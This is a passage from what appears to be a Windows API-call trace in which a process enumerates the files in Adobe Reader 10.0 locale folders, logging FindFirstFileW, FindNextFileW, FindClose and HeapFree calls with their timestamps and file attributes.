ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.447] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0045.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.448] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.448] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.448] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.448] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.448] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0045.448] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.448] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.448] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0045.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.450] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.450] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0045.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.707] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.710] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.714] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.717] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0045.720] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0045.727] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.732] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.734] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0045.734] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.734] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.734] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0045.735] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.735] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.735] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.735] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.735] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.735] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0045.735] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.735] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.735] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0045.736] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.736] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.736] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0045.736] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.736] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.737] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.737] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.737] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.737] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0045.737] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.737] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.737] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0045.737] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.737] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.737] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0045.738] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.738] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.738] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.738] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.738] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.738] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0045.739] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.739] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.739] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0045.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.739] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.739] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0045.740] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, 